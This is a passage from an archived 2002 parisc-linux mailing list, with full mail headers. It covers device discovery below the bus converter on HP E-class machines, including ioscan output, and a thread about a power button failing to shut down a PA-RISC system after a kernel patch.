"lower bus" is usually the secondary bus below a bus adapter or bus converter.

Bus adapter and Bus converter differ in that one is transperent
to SW and the other is not. Eg. PCI Host Bus Adapter.
Both are forms of bridges.

hth,
grant



From - Thu Nov 08 21:23:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problem find devices on the E55 I/O interfaces
Date: Tue, 2 Jul 2002 22:55:59 +0100
Lines: 42
Approved: news@gmane.org
Message-ID: <20020702225559.G27706@parcelfarce.linux.theplanet.co.uk>
References: <3D1A377A.E0CFABBD@gmx.at> <1025579851.956.469.camel@beavis> <3D22101D.74982658@gmx.at> <christoph.plattner@gmx.at> <20020702212501.84BD14861@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621456 9856 80.91.229.3 (22 Nov 2014 01:57:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:36 +0000 (UTC)
Cc: Christoph Plattner <christoph.plattner@gmx.at>,
	Ryan Bradetich <rbradetich@uswest.net>,
	"parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul  2 15:56:05 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 83E95486B
	for <parisc-linux@lists.parisc-linux.org>; Tue,  2 Jul 2002 15:56:05 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17PVct-0006yz-00; Tue, 02 Jul 2002 22:56:00 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020702212501.84BD14861@dsl2.external.hp.com>; from grundler@dsl2.external.hp.com on Tue, Jul 02, 2002 at 03:25:01PM -0600
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15291

On Tue, Jul 02, 2002 at 03:25:01PM -0600, Grant Grundler wrote:
> Christoph Plattner wrote:
> > Here is one question: Although I a have hardware knowledge, I am
> > not fix HP terminology here.
> > Can you give me some hints here with the kewords "main bus", 
> > "lower bus", etc...
> 
> "central bus" = bus which connects all CPUs with all Memory.
> On N-class this would be the Merced Bus.
> On C3000 it's the runway bus.
> On 712 is the GSC bus.

E class is probably different somehow.  It has a PCX-L chip in it, so the
only external bus from that chip is the GSC bus.  Look at the ioscan output
from the hwdb:

:pa:F:F:F:-1:-1:4294967295:bc:root:::0:root:root:CLAIMED:BUS_NEXUS::0
pa:pa:F:F:F:-1:-1:4294967295:bc:bus_converter:56:80 48 0 71 0 0 12 0 0 0 0 0 0 0 0 0 :1:root.bc:bc:CLAIMED:BUS_NEXUS:Bus Converter:1
pa:sio:F:F:F:-1:-1:4294967295:ext_bus:scsi3:56/40:0 64 128 132 0 0 59 128 6 0 0 0 43 6 0 2 :0:root.bc.scsi3:scsi3:CLAIMED:INTERFACE:HP 28696A - Wide SCSI ID=7:0
pa:sio:F:F:F:-1:-1:4294967295:ext_bus:scsi1:56/52:4 64 128 132 0 0 57 128 4 0 0 0 21 136 0 3 :1:root.bc.scsi1:scsi1:CLAIMED:INTERFACE:HP 28655A - SE SCSI ID=7:1pa:sio:F:T:F:-1:76:131072:ext_bus:cent0:56/53:0 64 0 5 0 0 58 128 0 0 0 0 0 0 0 0 :2:root.bc.lpr2:lpr2:CLAIMED:INTERFACE:HP 28655A - Parallel Interface:2
pa:sio:F:T:F:-1:193:0:tty:mux2:56/56:4 64 128 133 16 0 13 0 3 0 0 0 80 252 0 2 :0:root.bc.mux2:mux2:CLAIMED:INTERFACE:MUX:0
pa:core:F:F:F:-1:-1:4294967295:ba:core_adapter:60:1 17 128 11 0 0 129 0 0 0 0 0 0 0 0 0 :0:root.bus_adapter:bus_adapter:CLAIMED:BUS_NEXUS:Core I/O Adapter:0
core:wsio:F:T:F:-1:52:0:lan:lan2:60/6:1 17 128 138 0 0 138 0 2 0 0 0 219 151 0 2 :0:root.bus_adapter.lan2:lan2:CLAIMED:INTERFACE:Built-in LAN:0
pa:pa:F:F:F:-1:-1:4294967295:processor:processor:62:72 49 0 0 0 0 4 129 0 0 0 0 0 0 0 0 :0:root.processor:processor:CLAIMED:PROCESSOR:Processor:0
pa:pa:F:F:F:-1:-1:4294967295:memory:memory:63:2 80 31 1 0 0 9 0 0 0 0 0 0 0 0 0 :0:root.memory:memory:CLAIMED:MEMORY:Memory:0

(I trimmed out the SCSI devices.)

The device at iopath 60 is clearly Lasi.  The device at iopath 56 is
_reported as_ Java BC GSC+ Port which is obviously wrong.  Ditto the E45
(claims to have a Uturn-IOA BC GSC+ Port), E35 (U2-IOA BC GSC+ Port)
and E25 (GeckoBOA BC GSC+ Port).  Anyone on this list know what device
was _actually_ used in the E class machines?  And do they have docs
for it?  ;-)

I expect that the bus below 56/ is actually an HP-PB bus because of the
devies it claims to have on it.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:23:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problem find devices on the E55 I/O interfaces
Date: Wed, 03 Jul 2002 00:26:53 +0200
Organization: private
Lines: 72
Approved: news@gmane.org
Message-ID: <3D2228AD.DC192B3B@gmx.at>
References: <3D1A377A.E0CFABBD@gmx.at> <1025579851.956.469.camel@beavis> <3D22101D.74982658@gmx.at> <christoph.plattner@gmx.at> <20020702212501.84BD14861@dsl2.external.hp.com> <20020702225559.G27706@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621456 9857 80.91.229.3 (22 Nov 2014 01:57:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:36 +0000 (UTC)
Cc: Grant Grundler <grundler@dsl2.external.hp.com>,
	Ryan Bradetich <rbradetich@uswest.net>,
	"parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul  2 16:26:56 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep14-int.chello.at (viefep14-int.chello.at [213.46.255.13])
	by dsl2.external.hp.com (Postfix) with ESMTP id DE5E5486E
	for <parisc-linux@lists.parisc-linux.org>; Tue,  2 Jul 2002 16:26:55 -0600 (MDT)
Original-Received: from gmx.at ([62.178.92.247]) by viefep14-int.chello.at
          (InterMail vM.5.01.03.06 201-253-122-118-106-20010523) with ESMTP
          id <20020702222654.GAVF2977.viefep14-int.chello.at@gmx.at>;
          Wed, 3 Jul 2002 00:26:54 +0200
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15292

So, the devices below may be the HP-PB bus, as you mentioned.
The resulting question: is this HP-PB bus now transperent ?
Why are the devices not found ?

The point confusing me, is that the PDC boot monitor can display the
hardware paths below the "56", but Linux calling PDC calls cannot see
those devices, independent, if the device type is really know or only
found as unknown.

What is the reason here.

So I thought the interpretion of the data structure is wrong for those
machines ....

Christoph


Matthew Wilcox wrote:
> 
> On Tue, Jul 02, 2002 at 03:25:01PM -0600, Grant Grundler wrote:
> > Christoph Plattner wrote:
> > > Here is one question: Although I a have hardware knowledge, I am
> > > not fix HP terminology here.
> > > Can you give me some hints here with the kewords "main bus",
> > > "lower bus", etc...
> >
> > "central bus" = bus which connects all CPUs with all Memory.
> > On N-class this would be the Merced Bus.
> > On C3000 it's the runway bus.
> > On 712 is the GSC bus.
> 
> E class is probably different somehow.  It has a PCX-L chip in it, so the
> only external bus from that chip is the GSC bus.  Look at the ioscan output
> >from the hwdb:
> 
> :pa:F:F:F:-1:-1:4294967295:bc:root:::0:root:root:CLAIMED:BUS_NEXUS::0
> pa:pa:F:F:F:-1:-1:4294967295:bc:bus_converter:56:80 48 0 71 0 0 12 0 0 0 0 0 0 0 0 0 :1:root.bc:bc:CLAIMED:BUS_NEXUS:Bus Converter:1
> pa:sio:F:F:F:-1:-1:4294967295:ext_bus:scsi3:56/40:0 64 128 132 0 0 59 128 6 0 0 0 43 6 0 2 :0:root.bc.scsi3:scsi3:CLAIMED:INTERFACE:HP 28696A - Wide SCSI ID=7:0
> pa:sio:F:F:F:-1:-1:4294967295:ext_bus:scsi1:56/52:4 64 128 132 0 0 57 128 4 0 0 0 21 136 0 3 :1:root.bc.scsi1:scsi1:CLAIMED:INTERFACE:HP 28655A - SE SCSI ID=7:1pa:sio:F:T:F:-1:76:131072:ext_bus:cent0:56/53:0 64 0 5 0 0 58 128 0 0 0 0 0 0 0 0 :2:root.bc.lpr2:lpr2:CLAIMED:INTERFACE:HP 28655A - Parallel Interface:2
> pa:sio:F:T:F:-1:193:0:tty:mux2:56/56:4 64 128 133 16 0 13 0 3 0 0 0 80 252 0 2 :0:root.bc.mux2:mux2:CLAIMED:INTERFACE:MUX:0
> pa:core:F:F:F:-1:-1:4294967295:ba:core_adapter:60:1 17 128 11 0 0 129 0 0 0 0 0 0 0 0 0 :0:root.bus_adapter:bus_adapter:CLAIMED:BUS_NEXUS:Core I/O Adapter:0
> core:wsio:F:T:F:-1:52:0:lan:lan2:60/6:1 17 128 138 0 0 138 0 2 0 0 0 219 151 0 2 :0:root.bus_adapter.lan2:lan2:CLAIMED:INTERFACE:Built-in LAN:0
> pa:pa:F:F:F:-1:-1:4294967295:processor:processor:62:72 49 0 0 0 0 4 129 0 0 0 0 0 0 0 0 :0:root.processor:processor:CLAIMED:PROCESSOR:Processor:0
> pa:pa:F:F:F:-1:-1:4294967295:memory:memory:63:2 80 31 1 0 0 9 0 0 0 0 0 0 0 0 0 :0:root.memory:memory:CLAIMED:MEMORY:Memory:0
> 
> (I trimmed out the SCSI devices.)
> 
> The device at iopath 60 is clearly Lasi.  The device at iopath 56 is
> _reported as_ Java BC GSC+ Port which is obviously wrong.  Ditto the E45
> (claims to have a Uturn-IOA BC GSC+ Port), E35 (U2-IOA BC GSC+ Port)
> and E25 (GeckoBOA BC GSC+ Port).  Anyone on this list know what device
> was _actually_ used in the E class machines?  And do they have docs
> for it?  ;-)
> 
> I expect that the bus below 56/ is actually an HP-PB bus because of the
> devies it claims to have on it.
> 
> --
> Revolutions do not require corporate support.
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:23:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problem find devices on the E55 I/O interfaces
Date: Tue, 2 Jul 2002 23:50:26 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <20020702235026.H27706@parcelfarce.linux.theplanet.co.uk>
References: <3D1A377A.E0CFABBD@gmx.at> <1025579851.956.469.camel@beavis> <3D22101D.74982658@gmx.at> <christoph.plattner@gmx.at> <20020702212501.84BD14861@dsl2.external.hp.com> <20020702225559.G27706@parcelfarce.linux.theplanet.co.uk> <3D2228AD.DC192B3B@gmx.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621457 9861 80.91.229.3 (22 Nov 2014 01:57:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:37 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	Grant Grundler <grundler@dsl2.external.hp.com>,
	Ryan Bradetich <rbradetich@uswest.net>,
	"parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Christoph Plattner <christoph.plattner@gmx.at>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul  2 16:50:31 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6F258486E
	for <parisc-linux@lists.parisc-linux.org>; Tue,  2 Jul 2002 16:50:30 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17PWTa-00086R-00; Tue, 02 Jul 2002 23:50:26 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <3D2228AD.DC192B3B@gmx.at>; from christoph.plattner@gmx.at on Wed, Jul 03, 2002 at 12:26:53AM +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15293

On Wed, Jul 03, 2002 at 12:26:53AM +0200, Christoph Plattner wrote:
> So, the devices below may be the HP-PB bus, as you mentioned.
> The resulting question: is this HP-PB bus now transperent ?
> Why are the devices not found ?
> 
> The point confusing me, is that the PDC boot monitor can display the
> hardware paths below the "56", but Linux calling PDC calls cannot see
> those devices, independent, if the device type is really know or only
> found as unknown.

Ah!  Now I understand why you were so confused ;-)

Yes, PDC tells us about some devices, but not all.  We have to walk
the native busses to find the remaining devices.  What's a native bus?
Uhh.. can't remember, ask grant.  The central bus will be native and
I'm sure GSC is also native.  I believe HP-PB must be native too, since
I seem to remember rbrad finding more devices once he walked the HP-PB
busses on his K class.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:23:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problem find devices on the E55 I/O interfaces
Date: Tue, 02 Jul 2002 18:48:54 -0600
Lines: 24
Approved: news@gmane.org
Message-ID: <20020703004854.74746486E@dsl2.external.hp.com>
References: <3D1A377A.E0CFABBD@gmx.at> <1025579851.956.469.camel@beavis> <3D22101D.74982658@gmx.at> <christoph.plattner@gmx.at> <20020702212501.84BD14861@dsl2.external.hp.com> <20020702225559.G27706@parcelfarce.linux.theplanet.co.uk>  <3D2228AD.DC192B3B@gmx.at>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621457 9862 80.91.229.3 (22 Nov 2014 01:57:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:37 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	Ryan Bradetich <rbradetich@uswest.net>,
	"parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Christoph Plattner <christoph.plattner@gmx.at>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul  2 18:48:54 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 74746486E; Tue,  2 Jul 2002 18:48:54 -0600 (MDT)
In-Reply-To: Message from Christoph Plattner <christoph.plattner@gmx.at> 
   of "Wed, 03 Jul 2002 00:26:53 +0200." <3D2228AD.DC192B3B@gmx.at> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15294

Christoph Plattner wrote:
> So, the devices below may be the HP-PB bus, as you mentioned.
> The resulting question: is this HP-PB bus now transperent ?

The bus converter is "transparent", not the bus.
ie everything we need to know about the secondary bus, we should be able
to read from the bus converter.

> Why are the devices not found ?
> 
> The point confusing me, is that the PDC boot monitor can display the
> hardware paths below the "56", but Linux calling PDC calls cannot see
> those devices, independent, if the device type is really know or only
> found as unknown.

Sounds like the bus walk code is looking at the wrong address
for walking the lower BC port.

I'll point Ryan at the IO ACD (ioacd_v096.pdf only seems to be
available inside HP *sigh*) and he can sort it out.

grant



From - Thu Nov 08 21:23:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Power Button doesn't turn machine off anymore
Date: Wed, 3 Jul 2002 07:24:15 +0200
Lines: 28
Approved: news@gmane.org
Message-ID: <20020703052415.GB32490@charite.de>
References: <20020702183558.GO25586@charite.de> <B1225F09-8DEC-11D6-A95C-0030656F07A2@esiee.fr> <20020702185708.GP25586@charite.de> <20020702190606.GA3678@systemhalted> <20020702190842.GR25586@charite.de> <20020702192147.GC3678@systemhalted> <20020702193116.GU25586@charite.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621457 9866 80.91.229.3 (22 Nov 2014 01:57:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:37 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul  2 23:24:17 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hauptpostamt.charite.de (hauptpostamt.charite.de [193.175.66.220])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9B4B5482D
	for <parisc-linux@lists.parisc-linux.org>; Tue,  2 Jul 2002 23:24:17 -0600 (MDT)
Original-Received: from postamt1.charite.de (postamt1.charite.de [193.175.66.246])
	by hauptpostamt.charite.de (Postfix) with ESMTP id 282F015C01E
	for <parisc-linux@lists.parisc-linux.org>; Wed,  3 Jul 2002 07:24:16 +0200 (CEST)
Original-Received: by postamt1.charite.de (Postfix, from userid 7945)
	id 0C520633A8; Wed,  3 Jul 2002 07:24:15 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20020702193116.GU25586@charite.de>
User-Agent: Mutt/1.4i
X-message-flag: Outlook? Viral infections & bugs for the foreseeable future
X-Virus-Scanned: by AMaViS snapshot-20020531
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15295

Am 02.07.2002 um 21:31:16 +0200 schrieb Ralf Hildebrandt folgendes:

> > # gcc -v
> 
> 3.0.4
> 
> > # ld -v
> 
> 2.12.90.0.9 20020526 
> 
> > --- ./arch/parisc/kernel/power.c     Tue Jul  2 15:17:59 2002
> > +++ ./arch/parisc/kernel/power.c     Tue Jul  2 15:18:12 2002
> 
> Rebuilding now. Yawn.

I rebooted that kernel. No output if I press the power switch.
I checked /proc/sys/kernel/power, it's set to 1

-- 
Ralf Hildebrandt (Im Auftrag des Referat V A)   Ralf.Hildebrandt@charite.de
Charite Campus Virchow-Klinikum                 Tel.  +49 (0)30-450 570-155
Referat V A - Kommunikationsnetze -             Fax.  +49 (0)30-450 570-916
Stupid idea: Putting diesel fuel in a gasoline car.
             Substituting corn oil for milk in recipes.
             Attempting to secure a Windows system.




From - Thu Nov 08 21:23:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <helge.deller@sap.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Power Button doesn't turn machine off anymore
Date: Wed, 3 Jul 2002 09:52:55 +0200
Organization: SAP AG - LinuxLab & Unix Platforms
Lines: 31
Approved: news@gmane.org
Message-ID: <200207030952.55185.helge.deller@sap.com>
References: <20020702183558.GO25586@charite.de> <20020702193116.GU25586@charite.de> <20020703052415.GB32490@charite.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621458 9870 80.91.229.3 (22 Nov 2014 01:57:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:38 +0000 (UTC)
To: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul  3 01:54:03 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtpde02.sap-ag.de (smtpde02.sap-ag.de [194.39.131.53])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8CBAD4872
	for <parisc-linux@lists.parisc-linux.org>; Wed,  3 Jul 2002 01:54:02 -0600 (MDT)
Original-Received: from sap-ag.de (smtpde02)
  by smtpde02.sap-ag.de (out) with ESMTP id JAA14457;
  Wed, 3 Jul 2002 09:59:34 +0200 (MESZ)
User-Agent: KMail/1.4.2
In-Reply-To: <20020703052415.GB32490@charite.de>
X-SAP: out
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15296

On Wednesday 03 July 2002 07:24, Ralf Hildebrandt wrote:
> Am 02.07.2002 um 21:31:16 +0200 schrieb Ralf Hildebrandt folgendes:
> > > # gcc -v
> >
> > 3.0.4
> >
> > > # ld -v
> >
> > 2.12.90.0.9 20020526
> >
> > > --- ./arch/parisc/kernel/power.c     Tue Jul  2 15:17:59 2002
> > > +++ ./arch/parisc/kernel/power.c     Tue Jul  2 15:18:12 2002
> >
> > Rebuilding now. Yawn.
>
> I rebooted that kernel. No output if I press the power switch.
> I checked /proc/sys/kernel/power, it's set to 1

Hi Ralf,

are you really using the new kernel ?
The one from CVS, built with "make palo" ?
What does "uname -a" says ?

I have no problems on my 715/64 (which also uses the gecko-style mode)
and c3000, so I really wonder why you suddenly get problems.

Greetings,
Helge



From - Thu Nov 08 21:23:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Power Button doesn't turn machine off anymore
Date: Wed, 3 Jul 2002 10:19:30 +0200
Lines: 24
Approved: news@gmane.org
Message-ID: <20020703081929.GI15228@charite.de>
References: <20020702183558.GO25586@charite.de> <20020702193116.GU25586@charite.de> <20020703052415.GB32490@charite.de> <200207030952.55185.helge.deller@sap.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621458 9874 80.91.229.3 (22 Nov 2014 01:57:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:38 +0000 (UTC)
Cc: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>,
	parisc-linux@lists.parisc-linux.org
To: Helge Deller <helge.deller@sap.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul  3 02:19:32 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hauptpostamt.charite.de (hauptpostamt.charite.de [193.175.66.220])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7FAD24874
	for <parisc-linux@lists.parisc-linux.org>; Wed,  3 Jul 2002 02:19:32 -0600 (MDT)
Original-Received: from postamt1.charite.de (postamt1.charite.de [193.175.66.246])
	by hauptpostamt.charite.de (Postfix) with ESMTP
	id 26F2315C009; Wed,  3 Jul 2002 10:19:31 +0200 (CEST)
Original-Received: by postamt1.charite.de (Postfix, from userid 7945)
	id 0FFE1633B3; Wed,  3 Jul 2002 10:19:31 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <200207030952.55185.helge.deller@sap.com>
User-Agent: Mutt/1.4i
X-message-flag: Outlook? Viral infections & bugs for the foreseeable future
X-Virus-Scanned: by AMaViS snapshot-20020531
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
